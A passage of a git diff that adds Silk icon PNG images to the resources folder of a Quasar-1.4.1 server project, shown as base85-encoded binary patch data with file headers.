zKJX^+zklnS93z%haS*(H5Yf4Nh<wEBWegKV6 z>~o(OY$)C;Hz4-DOD#^Xc?KafsKud);N~}=u!W3~T`atL)M&$9vr~7LRrWkLHXNZ5 i7Wa^nT-#rJc;A#1+9e&U9~QBdhb7i%XEvtC8q~e*9 zTGor!c}UBO!Tp8?(pAKoEsCX!Dv~OwaI#?S|7Y+#Qz)whJ4xaq8BjDPqnKjt1re<^tvd-qJefSYq(anuCjd93vneh6K+h(i&yD!a1MnYqE;KZ-O};W0OdWKgI_pLK zle)Hr=PlJ{;*D|xQkXchK9;-N1yEG%b|6WX&N<<4bB3E4Y$IN>=XK}S-Z!3BGt%RR zcEyG7o^?>|EvvpZ=hdbo)D!63ewiH?<=TAz5V4&90#T#$5FJ5q1^@s607*qoM6N<$ Eg00gme*gdg literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/compress.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/compress.png new file mode 100755 index 0000000000000000000000000000000000000000..8606ff0fd23c97d71d43afa0bd587e47c1e90441 GIT binary patch literal 766 zcmVZcJ%1+b$|lEg|m$p?$2s-?aFIU^lhS4 zt=5>B*onJiX5((A#g&zdZ;7N+zyNUJY~v8{(NtqH{`+@8xk&m zG`u_jq?FJb9n=hw%`FbbD_m;*4&fCDuR=V`pUsP7fU1Tp7Q?_nK-IQ85K85YX7gRJ zgwtoomKC%RWTO%Skh+*{%b>T>VfXA~9;mZE6vn=~?YHE7)8Zq;mfF}l;^WAReVKbv2dyl8I zZdsNM9oTISwn$ahzw_tMS*<#q^{;+1adq)i5#6)A{L5!4^#~!-uOE5i^$%Jv0}EmF z8*kM!$D7UP9;w~?<@c-q)vuj615`xxpt}~#kmfz_<a!u4Ek1OWvhNg%r^rdTXsY3VK8?SdPP#w89em&*t9`8-y> z{{XWmi9uo#0y2mREC>R)tyU|D<2Xwun+7u3ce~yHC8N{n5>SE*7ca{{mxCuK52M#x z6?VgqVUHr69iApkt_fp7}UIJIX)^0!0b=W3KH zu#9)c?;$B!KqeOeo#x5*?d$d(>1am)Y%kbK4HaZEF7DqvCglmk2%DRMFl4hCO2bI^ zX=T@9j!era3Mj9K%ggW14jP4g$@9D^u1>q%4oF>&Q{%YG^bC$1Iv|Sn?VXTj+j1A` z_4;iBxjK9L%sJ01;N^>_f2ih9=zM1B|Mb6I%0_FShXA!&ZGuYnYi{m5Mm>)<#Bd!= zpw*3PwK}@fZ5>`FlHMWvu(WdP)7sBGH8?p(}ako9KYX(!NC_${+66f zCL^323pYiGbgW{=R3}SA9sZ^M67CqjK_%js%5CkR;me zO?bAIxNg3Ro($a-cu31+pwdB9n{8&kSIhHe>aHBjVXA_CRI@ z^iBXW91h1XCKo*~ZXPqvsnh6OjES;@0=+mMNtWPHly!FDxdig|gWCPa(Ea&26soIrWMt?>>7bAgsH$4Y)5&Bq8mV)C%YB7Y+Jw5j^+Hk8>AUFv z&`yo)gA$EKn@UpK+S;xY$oZXByDL@Ihu$X-O`7@r?DzRA6X`K2l^#WNxC<>WFJptl zO&yXgxs)7>#kLY#ED||;DijJqRXu2EXxy03=c9(D--^EXGrJ@OqsiBFdd$}K z%S6%_$lmt!JU(1H|HXST8NZXhS$l1}(mg$J6&O${e1)u?zBm5_@-L-Nh&J@-00000 LNkvXXu0mjfve9f* literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/computer_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/computer_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..5e9b26836cea5f91bc94770592555da48addc64d GIT binary patch literal 775 zcmV+i1Ni)jP)IB7 zSr<&xRLO(9u(h={_FdAy0EUK!3MrvO*Y&f3KmiO&g5y9$Q%*Rnqqp}J)W0Ps5{YA+ zTvAd}77B$hJ~0JmcN`av>kyC&o4^difI2!lYS^~zClf(Ane0=k)bElpKc6BX2ZxUw z7vEG)E-$Y@I=vv+U4C3v=?dc);zUun5HFrTLsj)o!Os7L0!HQJ=8iapNsuI(y-9es z%;F+$U)e1f2jlO+YD-U^_7t#GX63+eQ88p$hD0W3jn@p|Iv!*7_8PHvvwI-30(vI^ z8H%E;Gdb&d@a8e&oHmZmbX1fj6qwoeNU{V)RrBn^a|z_V&UuWTpW3mMv4jc%z!Pr> zm%xmXO$DNUZ%CM4u*7P0pc^%V?Wpaag{2o`$?Tx6NFIQkt&?r+^PlIUHWP#Y%SY5* zYC<4Vg_YqxjJ$n~vQ*du@cC5Sy1YZQ$22W0FB?L#-|wR`Tr9LUW80ZV1jk~)n;R%7 z)Umaq5|d*Is8rXTSggM;cTmU|X_^+{?j(~*gVY6Tf6O4bIRcz$%BxaaN}(A)vFM9Y|u11$~II*CeXV}4Kt5h{aWbSmSRg)zoxZBrQl+iPQ*@N>AMLYl{sL3^s-3vtl?VU;002ovPDHLk FV1kc^U#9>7 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/computer_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/computer_edit.png new file mode 100755 index 0000000000000000000000000000000000000000..34c72fe521f38a62bafe480939dae2f09359741f GIT binary patch literal 792 zcmV+z1LypSP)XJ>QW+#knvSxsA!iY&~)5F#Wfv4?&j69V6gpqF|Hdgwi*2U&^A2P1m( zwG?87QWFXzm)SH{C0BiLH?ek|m1O5Yw!w`uF@yv8xr+$drk02h8dkA3A>-Bayoi1nu1j_>3O)x&67t!cDh*w%b$)ad_`wt0-nYz z$gd87mrOX^^$_z(O43yqS3?&~1nYXtlPyu*Z^3uEo$G?JCw z2)JvCWu%kCA)@!zDOMiCFp*msLv@*jK+|RDKL;U5Hu7pc(i30sBX}EzP{CBw^hHw3 zzVY!7?WIPs*QV;*&xB;du0eX{DSQD5`OG1tCS#a&UB!`x<4j?&x{5X1uDj6R-+w=( z4M%R=eTn&@2S_b{g0rp}TWhK@wbktSr8#%Hlp1Nmxt+TZiA1VM86ykHb?Dzm5Nh!m{6#539VR9^r70wOi!1tM(B7`KwUjX#i+jVe(%oN_dd__z0W&E2!a2tNF?$& zm&=_uO;e`~$}+OqEa#`nzW`#fSQ!=cdA;7##lLh8M%buc7~~I2w(1 zak0<+Y>&vtW;+D$sO&gI#7))$ATa zU9cUVsuuX2&+zGCJO62`{m0})2F$%Zu9IWL51X?cO%H%7| zR(Dg4EnSfS%*c)6m`dblL7~2!sU1V0^AxZa!Nik(?7egoMJr!Wj0OVmZz^y&blkbP zTiRoqIi%BM&uRjdst0Z(P3%ds(}uP35j6*|A^qk)L~dVR0d?~3$jI9R>w`kM+~aoD z)QKT@+t0#Ik5la`T6-E`XJ@d@l|UeP7%M;D$zj{_U+C@ay-Fb6`|FiMenUlNy^~lc zNNyIBFXIFfgrb!J&SMyTa0^2-waE>Da5!8+*3ETvbYkuObu{+egQiZC)Rdgh%|&)Q z8!-Dhip1dU7aIVfP)H;B&3_5|}IFP3a~35lF6iQ+x8YRd8jCpeL9`~Q!*A8(?sN;y`xk9r!hDb z3S(($Sw4e=s0v(~wh>)=PJukHoMj>utihA_H!)**r3y*F z8yAFA;E2`R%VhpvvKL`GRDH)nFk+$7yAL&0O<2ukkpBLL2s5%Pl0Yrw$@Y0NKMUb{ z1MQJ>u&M91V}nO1wLFXcp`%zc)^YjSF*KOnd4iG>4c9N!$@ZA0g=|(w|CAxY-+oPz z5}FTEW7;NG^i|aDZpNCK#nAd4XjI8t@%Z!O#X%t-@OV7cIXef-wy?t+Ca^8Zek{)* zP+o<^>`RQNlBkYj-Wf>rcKbYZM2AS)kbX5rgT#l zih&_Q(57*Qd{Jm>qlr%5QJbsxdHT2&(JZQFM& z%TftJD8n>OfiIPR5oEL3ASLvKLZRE0l|C4h1lNU}O*!Fk2*bleP!CJaWHRj{IU0@D z*VNSD`}`7wy6bYd+$ACohsX@WfI2-rZ8(loK_MsY+7zg1+Cj@$U)PApMe<6A{HBWJ zc>Dwkg$=3B#l?k7Ek6x>`Bu!1&TuV(oLd>t<6n5 zxpz(~j;B9CxIKRDX32rDDpbY9aHJNDF(?$Q9O79JaK}Z1^AU*zL*8iwFZX~62hQ4Av_x<+*@a_)ES%MJ$$?c~9)&6JsOp}&L{S3ag+K;T-%kV^lPE3> zAs8SBbFUHF_Cggbq9LLLp_n-8ll7N|g5?bxO_5~;PhE$jPogRs$BvUj-K8cZH^xc? ztX!vv*{^@^i-u?bmNriUd2&=lMIaCC=qRr2lnA_D6^}bl%jK~w8@g_gD;L#P4&kjq zc&lBw_9U2F0GJ=#GBMLPhj+O+RO;l@(a{fWyBmct;`jR#wbm4TnBa9Cw-j!^hvIBu zVo-002ovPDHLkV1jNh BU;h9A literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/computer_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/computer_link.png new file mode 100755 index 0000000000000000000000000000000000000000..3859db214765ad84536acf95b7fb667570697ec5 GIT binary patch literal 792 zcmV+z1LypSP)5M>TH{B>uwY0wtGA0+Y*fG8|ORs-ktON{mwbxCmDu;|E*Xo_NZ2? zjaRExg*?a$J2*IC|5W-HKq8T_P{N$mYW1q>F;plCx(*RdIX0UW3k$EI{4F^ik6-2F zj*gC=*49?6f87SN>$(Bm&P{631d~YsBVG<;X_QobW zTT#>S;O<4i_&&A_R@;63MneHhWmXQfwY5W*Wk_Ul)A*SI486hFcWyvD8_gcbtbpDL zK!(X=I%0Cu^Wx?)WA^wu<_iH)mQYY_jz^Lum=xuZU3e~md}DGA#`#YVQ7+bm3IV_y zH-t-I#uGLZwA3op$~L+j?fCL74b^Bzsl12%{e6trCy^;-k%&hdO=JMMS*KRW>wJAB9qB909slU+@JIy5{V$0G~v?V zAZGjld|X{ccXt>1`};+b-|rW`x7Ur4kzs6XY(OCyGvRRPG6O9xE;`+Aw}a<-`jiWi zcW>eI`RLf%P%4#>&1Nw>JBv}@E!3)euvjcOau>W_?=y$PF??rgN_p})NEayrg&NDp znHQJDW2YEQPfsHl4Au_;0)c>C)3glB@_0PxaXRT(0qJxaYinzwc9+YA&dyE-$!%_K z%HeSM`{8Ax5^^+&7~Q@Lp->2RyB%h;Sxj(ucXxvPcClD|zOu5?LS?I|R4Pk~ZvFx_ WAFY|n`T1f10000zR>QH2KN`fNj zBHaWZEgiB#>49kYe(borqx+hj`JS_1d)R}7LjHa+tu+qg(TC+eO4&q(D;ZL8C8o8; zLEfZxiIlQ~iE1b1qBZ2=VhsA0V`*@y@M|Sc2@Wtadv3g0hOc*O(ADVFjPTWAYz(JXS z8MBaa%aCO{h8lvp*ONKIh5Bg|-DNo^;jg=q=uDZ@vodOJXfu;GK`ze`H-VrWK!nUg zje)ufRUJ&ouB2nYB2_pI=gji&GcuBL=+DM-wBZ)fbc7&a9AP1Ztk5)S4Ah03bqXOt zxx}VdK|CIVljyc=oqO1G{;Qew7T~%?tSw{^mi$E(2^Td6>M8+m4H!qrBtj~%w(Y~Q zVrXkVOEN#2&@(U(cX3H&S97B(;-}{)?<>?0)RjVZqrJ&ONChgCgE9%PC}CSBp!+d1 z`bkAqacXYz!94aLsJZ!K=3b*?T#ge1nL>bsZNf4&8mt(EkXYZ?MK0YwH2ZOI9{(VN z&%WPH*v6AY+yG?)mZ`CxE@5ZK2lW}4Pr-ctMRE2V`yf8$PurT4&^p3q*2kt>M8OM& zl@MbQ=U&8BS_$dSjo(q&2Pyd!8`}{~Xr#A_DDL|G({Ha$;Xe@?&|@q4QbvV}D#ixB ey}zEqA^Zgf(1+rQ>#k7%0000NK&UbbyKJOV_-=GvR_Va`)iGtEI>k6*4w zgow@Mk2%Y~O!7M?In8;-d7cL=5v|yqpZk1wp<|+|sw%#D=U_j#2jez+cNS)ysfwa1 zhMt(yUCd+J)Rn9LDjG%680l+#H!mx+$mblHG)>d)<)F=Uup^koXw) zd$^lX+9>bw{3ek|{4)BRj2R&K#BR5r2Lb`7+wBI6#iH6JNrK^U2-RwJxmYY-CX>mM z4q^mMa=BcnTrSh)a!CmxbhTR1$z(#u<1wAhW>geKieQ?_WN17d4{Nv`MuK3@;c%S$ zd_FLn%`l(O0SN$!K$c}dAdE&Ms8lM@>-Au>*}RR#VjRQn{7EF`_xn9os}(Q<<^b#U zS`|$%7K@Nhr@`rTg3IM%y?Lb*pi`LVd9_yNtSE|3!1Pk7#QLM^tyT*-j$`SEbpkvD zS#&`Vbf6|IvIb_^G#U+HzNiQFF=~@Arp<&!E))vty=K>R4WkiMF#1zAHdclatdTuC z^#hR=Y$}1i*aB!m#n^+3!C(M3n@vxffsLg|B7xA|BRIPM0)&+sm_Eh+0b-4z3lhlP>ijqV=Y(3>@G1n{ePcPzh>Rb@4_542BzwBqJqtS#%}CmFyPwEB}H;sT)k^PO&J~D`k;nz~V<&itfTh zxr;CN!}tAp4EJ>-?`L_}>*?vKCnWy9$nUe=Puk5ftPb6)KxX+h078g-YR`LAQfVsVhjvx6~f?>L)7ux+9u04xAdVTgh3OXd}8<*Mvg4sIIf7|CLjU=3?GLh&lbWk zgdti9=XJU;d~#&lNh5f04q>pvXS(spvxNmcj8UrCVJl(d?5RPKY=8`(MJl|Mv<@Kw znZ(<1nI5jWBSM@pJYMl;FOC8OOsBLn*c+o0qrp2bo|Y~TplyJuex;eSQPn6>Q06ii cEA-#oKWP!ZI09u>fdBvi07*qoM6N<$f?BYqaR2}S literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/contrast_increase.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/contrast_increase.png new file mode 100755 index 0000000000000000000000000000000000000000..a3e7f5200a762f96b74035926f0a45f22d8c2006 GIT binary patch literal 717 zcmV;;0y6!HP)3IxR-RFpwsgT-ZXG)rg2BNZV+Y(9X?3n+SqH+PP^q{w;SVX;^|4Fm#u!Y=(55^*>jt16WW zPyq$Nd_Lz*@YCruM59sA>2zQ)7^pV)MFI@+noK4>R|=lZW+DOknM{W2!~3OD3G{kB z$@hu`xNy-=MZp z8d9)8MgaSriy)UNVEAcBu$;68`}KMq)M~XTo50dk?02nTS+l^(c{6;s@txS0*5GlW zQ20tME0@b+&b(~=F5g>&3zl+3)vn5kFviW)4#^%j*FpW;Kp>lIrtnq;t75M>sh>pdFX!;S0^Dbeq%0tl`$J`dYYM08X+s?-HO;1b95p zYpEr`NxU&;!WbW)ZvsZ#vA+=k%~(r~2=E#5!GJz}Ua=_#g;)p}9utNOxyvnkTvDb` zKnO&m9WaW-9$jwOMaRM>|Beud`mf?M@_JO+K_`nw1(O9ZpclzHI@@S$ae)y6we}bv zj}F(7S0jVTF-Cae(Qp~l;cDT{kmj5cx$wz{*pvF=g={2llE$Wt3}h?{>ON8BlnQw? zbaL1nQbevVMV(KYvja}BIpc^Dawb#%x=_N58Z_%TCJAaY&Mm8y)OMIz{xTv zv-NsS=ku8!kB7kNbfU##LA6?qRjXC`TY(o@zh19|h5c|ikgn@=xm-jHqLoTTFPF>m z7lD^;W{`Kg9c{N;S}s?#-|uO&*$`YABC4vgLZKj;0=!W)hfz>i`(r+i9|v(1^AeR0PN$?YPB*gBP$$Dr&9sLMLZsV3p5%H6&*(z zAR#L<0v3x!z~yq$WHJ$x84iaOi^bk0@cAnE`FuV_2CvskilUIm<1u%{Mxznk?{_Md zN)(Ai-c96lm5Rk8Ll3YFyAU0Z$AXBgNPurnW*pL&iN~IVtNi+^ULCu&uzdXc=%tD#Ux p3j_ihC#gQ4PvPIvUtipR#=H6}Xc;8*Rwa}0Kc#dxmJpcFcm>5rw01p5FJkhby zSm*Zs*KV%Pc{a=|5dd5s#NSRrIUEjD-G3^bEXb@EW`7pvwJV->sBqnym%Tb1@p}Pj zu#(CoedSOF*P2GwJLvKP0Sj>KMO~8{w3#j1tfZVk`B>LNqEMSVzfCRh zrxyit%WDjlu#(h7Y-nxm?jM<$8>chp7I~c2^=cxSR9oNN($-GxWN~{Ny^l2uWC-|LEG=?o6$Kror@so*fCzDENlFMe3-!bldV5U?oq*g7bePrGJ#2%t^ zCg%AJwumoQ3pTa|GUJ*I5=u2fsa7b5L{hD28(LSu8%kKb18>T}O@(e#Ws-m||GRckP7jW!)*)j>8rWYNPm18gzC zR-<_rw(OeBHj8b~x@))X+3j{`zz!mEr^T83m1kH?B5*VSdGYG4)JOY@_mL0G9Qd_Q zeZb(f{^@QVdWy`LyAJ9!X;T9AQ;;7!olIV1o9GsT_5K( zX4UM4fswg+en8%mKjW2GkxOOV^ETz0Z`GOb@Zs1dqBpF6f^>B+mu7Squ5`&}`6u14 zEeu5EsG37-m3^m5hYI<_%e_?cg>$$*N(}mP?Uxe~sN{hBC3!}v51}Ta0E4UvVpSi@ z4hl>u2~NZ`;0~QmQ^egA4Q|(OJ&bI0!*Np)VjEQ0Lpr{dKjH8{T!pW=RGg^-AyxVq uP{uUc&+nSwL?9*iF^l97uJ4kMz+p#tXTRnmxMZU9T>y>3MAL4hm;43XsJm7G literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_end.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_end.png new file mode 100755 index 0000000000000000000000000000000000000000..036e04dcd9c6b1338b10d223ca7bf74063863f1a GIT binary patch literal 621 zcmV-z0+RiSP)Nn9t`>tyXEJQW3uee2VqU%jL3O zDwV`9fKS`>DOS~Au-R-t(=;CI^%~IC6G8}~xm->#0IXj5xnaBAg4Jq;LZM)Y&1MTY zogdr{KK*_l(&@Bp09dmKlF=%PEEX#Z3*_^8ST2_gVCI0`ZpZt9?&9${F#xSrOT%X2 z1_WS647=S9i9`Y<$qWvMle=3i7I3{@Argsb27rx;18@VDf?}J^#xp0ANidltP!tFM zkJCUG;c)l`sMqTRJC0>w1{7mfbTpk#8NkE=XdU+r1_KC%La!3oeC6?Y43EcyXOJX` zizkx_4@FVn{axYZ-EKE17K;!F1YS*Ka}`uor6_t%0)+@2jYh^eQ9K+DQA}9~Uk*|> zn-w#ejE-YNCx^prAM7y8TUMVjBHC?jdgDZ0uY<14zkviS!R z%WNReV8089%$4>b8HK%xY@$`S4Aguc#P)E>tkth$avDcTo7_M(5ix{LERozn?H`{N zP0Wj@7FM`CX#=*sxwWgShcPrd#bVD)%?ky~vc_f{7T?m**-au-c>*DSaY-N)EiNrL z5h;ve_QVWdC|*mi8cDBW!K)#E!D}GLGHM~&nRV<3?|Fo@+_Qk7AvGD$bBt18p#mQ|*)$+b4cwryRlU)Pw| zb@mOtU1hMVwMMnkv1xK>^k$85S7QRTf52^%O=kx6J5GbyZm>9w7N^PLFzvd`R;StO z+OdK=HkZW)T5Qf;$DR$`vpZa%Yu~x&cI~^}Zs^{gn4d9G&>L=4z*94TW1&~B-nxr; zaX|F}xI;LHNDeR@Vu6s&QTfmiB`hgEGk7s)VFW%N7wpX&9tIPS<2z6db#){WJ}ZWW zM*qH^_%S4%=NlFtc1~i-79-ab5dbgyVpJ0!8iAF7Xr zkK`bzD`hV;md>Ct^oMRn?BEbFGPdyf9N4w*E;_+1N%0*G?d|F>|8@=2Sa`OeH$2|^ z5%c^fa#lg$X+;}0u*hd#xiyC*N8dxeiK39^Q}jlA!*qA)L|iN9^6fO*mmnQMmaC~R ziLt*vMJ`2%P+s*Hf+|Cb2Ivz0zIq&%kLb^fs&&de-UHD!YK-!x3fdNcC8s9Q5^~@E E1^7C|&;S4c literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_equalizer.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_equalizer.png new file mode 100755 index 0000000000000000000000000000000000000000..a244769e7485f4206d743d63632b67b90e2625bc GIT binary patch literal 379 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 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_rewind.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_rewind.png new file mode 100755 index 0000000000000000000000000000000000000000..c0294477171e87351813135e50e05766b5607b0a GIT binary patch literal 614 zcmV-s0-61ZP)jUp9KZp49DjNvG4H?RHybjH%6LlQtR+QmfUZ9|2q} zb1_@3R&Y9<;C{c0I3ABMpUdND#U4V-<+4^P zmE;$|hi&#L-fp+BSS&zQRT1m;8m7~!4xyB?d_FJf0A4Ra+kcClPUnkQQ53O{tKaWK zCX*pLfH#XG8LeWiR_h-DK5r;AuD_5{@H zb&4IwGM39FxLj^tf(vG|nGhgMQJgRykHusLg8@XN(Ps&Kz61{+kB1PTO^?STGGd^0 zLI@0pL%7{;P%IW991cI5$mc2*3I&EG;6f2*N9brY5<+}p0(|FU#zT6!NV!~2&StY3 zjt&2KI2?o<1mR`E%xIkpwLl;se|weF>9m|oCK)eD*v6h<%{X^{d4LO<&*zhW{FoAn zgcONHNGKGd!C+AJ`~4~xQLooa_`CG$*Z8mT4&e|nrfoDRBme*a07*qoM6N<$f-U?5 AUH||9 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_rewind_blue.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_rewind_blue.png new file mode 100755 index 0000000000000000000000000000000000000000..ec62b5fa9e1cfc9f0f0fb052d24b794053a25ea3 GIT binary patch literal 738 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GXl47)t_tLR|m<|L-~-3rd)JBYDQ{ zjJXdAmcA%n@w$BVyQ=jc%O`EEoU*-V`Kc)zF3s6~YyPggD-J)aoVc!W#YoU>x{?!!k;UA%JR zo^RD=->NNs)msAUb_O==4Qf6R)O;|w<#1@*(Xfsa;a#U9x=%-RpN;GRqVtix7oz$u zM)zNgnQ&>x;Y<5ZUORE|&b0?`Z`^-=>*?3qPu|^r^8WU-uXmojzw`X--51~Pzx?*# z)whRF-#mQr@!{+5kKcTM^7i}Fm+zjw`|<4kj~8z~zIgZL#rvNxKm2_4{@d%1Ki_=% z_4ecUx1WE#`~2(u=O6FC{Qmg$*T=8FKYjiA>D%wm-+q4n_Up@!Ki_`-`Tpbg&)&G z>$E=!8%`~=U~~AZ6-%%=-v6jsu%n9b8NPck57h=vucQz z!GiTdLs#T3zq#NS6>ooQllGe@UU7vlJA90`RQKGKyR@XuL-&xC_`BkX8@<*j zag>~yAuS}Re!=RN+bQkbYNOMKf14M^$9}L%*gxy%&;DfIve|Dg8~lFp@9j^EteM9Y z_wnwDN?%|3E`m8Z*mq8w{88_FzV$mZ1S41e-kjd}>;8Y%IaW0{b*AfrQZs|6tDnm{ Hr-UW|Xwtvb literal 0 